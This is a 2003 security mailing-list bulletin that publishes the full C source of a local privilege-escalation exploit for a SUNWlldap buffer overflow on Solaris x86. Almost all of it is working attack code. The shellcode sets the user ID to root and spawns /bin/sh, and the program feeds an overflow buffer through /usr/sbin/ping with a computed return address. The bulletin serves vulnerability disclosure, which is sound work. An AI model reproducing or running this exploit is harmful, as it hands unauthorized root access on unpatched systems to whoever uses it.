[EXPL] Exploit Released for SUNWlldap Library Buffer Overflow

From: support@securiteam.com
Date: 03/16/03

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    From: support@securiteam.com
    To: list@securiteam.com
    Date: 16 Mar 2003 21:57:17 +0200
    
    

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      Exploit Released for SUNWlldap Library Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    The following is a local exploit for the SUNWlldap library buffer overflow
    vulnerability on Sun Solaris x86.

    DETAILS

    /***********************************************************
     * hoagie_solarisldap.c
     *
     * gcc hoagie_solarisldap.c -o hoagie_solarisldap
     *
     * Author: Andi <andi@void.at>
     *
     * Greetz to Greuff, philipp and the other hoagie-fellas :-)
     *
     * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
     * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
     * DAMAGE DONE USING THIS PROGRAM.
     *
     *
     * Offsets: 9208 ... without patch 108994-11
     *
     ************************************************************/

    #include <stdio.h>

    #define NOP 0x90
    #define ORIGSIZE 258

    char shellcode[]=
    /* main: */
    "\xeb\x0a" /* jmp initcall */

    /* initlcall: */
    "\x9a\x01\x02\x03\x5c\x07\x04" /* lcall */
    "\xc3" /* ret */

    /* jmpz: */
    "\xeb\x05" /* jmp setuidcode */

    /* initcall: */
    "\xe8\xf9\xff\xff\xff" /* call jmpz */

    /* setuidcode: */
    "\x5e" /* popl %esi */
    "\x29\xc0" /* subl %eax, %eax */
    "\x88\x46\xf7" /* movb %al, 0xfffffff7(%esi) */
    "\x89\x46\xf2" /* movl %eax, 0xfffffff2(%esi) */

      /* seteuid(0); */
    "\x50" /* pushl %eax */
    "\xb0\x8d" /* movb $0x8d, %al */
    "\xe8\xe0\xff\xff\xff" /* call initlcall */
      /* setuid(0); */
    "\x29\xc0" /* subl %eax, %eax */
    "\x50" /* pushl %eax */
    "\xb0\x17" /* movb $0x17, %al */
    "\xe8\xd6\xff\xff\xff" /* call initlcall */

    "\xeb\x1f" /* jmp callz */

    /* start: */
    /* execve /bin/sh */
    "\x5e" /* popl %esi */
    "\x8d\x1e" /* leal (%esi), %ebx */
    "\x89\x5e\x0b" /* movl %ebx, 0x0b(%esi) */
    "\x29\xc0" /* subl %eax, %eax */
    "\x88\x46\x19" /* movb %al, 0x19(%esi) */
    "\x89\x46\x14" /* movl %eax, 0x14(%esi) */
    "\x89\x46\x0f" /* movl %eax, 0x0f(%esi) */
    "\x89\x46\x07" /* movl %eax, 0x07(%esi) */
    "\xb0\x3b" /* movb $0x3b, %al */
    "\x8d\x4e\x0b" /* leal 0x0b(%esi), %ecx */
    "\x51" /* pushl %ecx */
    "\x51" /* pushl %ecx */
    "\x53" /* pushl %ebx */
    "\x50" /* pushl %eax */
    "\xeb\x18" /* jmp lcall */

    /* callz: */
    "\xe8\xdc\xff\xff\xff" /* call start */

    "\x2f\x62\x69\x6e\x2f\x73\x68" /* /bin/sh */
    "\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03"

    /* lcall: */
    "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall */

    unsigned long getsp(void)
    {
      __asm__(" movl %esp,%eax ");
    }

    int main(int argc, char **argv) {
        char buf[512];
        int offset = 9208;
        int retaddr = 0;
        int i;

        if (argc > 1) {
           sscanf(argv[1], "%d", &offset);
        }

        printf("hoagie_solarisldap local root exploit\n");
        printf("[*] offset: 0x%x\n", offset);

        memset(buf, NOP, sizeof(buf));
        buf[28] = 0xeb;
        buf[29] = 30;
        for (i = 0; i < strlen(shellcode); i++) {
            buf[i + 60] = shellcode[i];
        }

        retaddr = getsp() - offset;
        printf("[*] return address: 0x%x\n", retaddr);

        for (i = 0; i < 4 * 25; i += 4){
            buf[i + ORIGSIZE + 2] = retaddr & 0xff;
            buf[i + ORIGSIZE + 3] = (retaddr >> 8 ) &0xff;
            buf[i + ORIGSIZE + 0] = (retaddr >> 16 ) &0xff;
            buf[i + ORIGSIZE + 1] = (retaddr >> 24 ) &0xff;
        }

        execl("/usr/sbin/ping", "ping", buf, NULL);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:andi[at]void.at> Andi.

    ========================================

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    ====================
    ====================

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    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


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